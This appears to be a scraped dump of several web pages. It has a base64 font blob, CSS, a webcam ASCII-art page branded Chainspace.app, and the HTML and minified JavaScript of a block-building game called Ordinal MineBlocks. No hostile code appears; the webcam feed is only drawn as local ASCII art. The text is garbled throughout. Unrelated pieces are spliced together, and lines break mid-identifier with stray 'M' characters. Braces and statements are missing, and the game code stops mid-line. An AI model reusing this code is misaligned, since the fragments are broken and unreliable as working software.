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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #E1D7D5;
    font-size: 12px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#F78A18", "#AD3208", "#D26451", "#FF638C", "#CC0495", "#E1D7D5", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDM
evice() ? 600 : 450);
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcM
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
        const res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
 gridElem.className = 'grid';
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScaM
            gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListenerMP
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
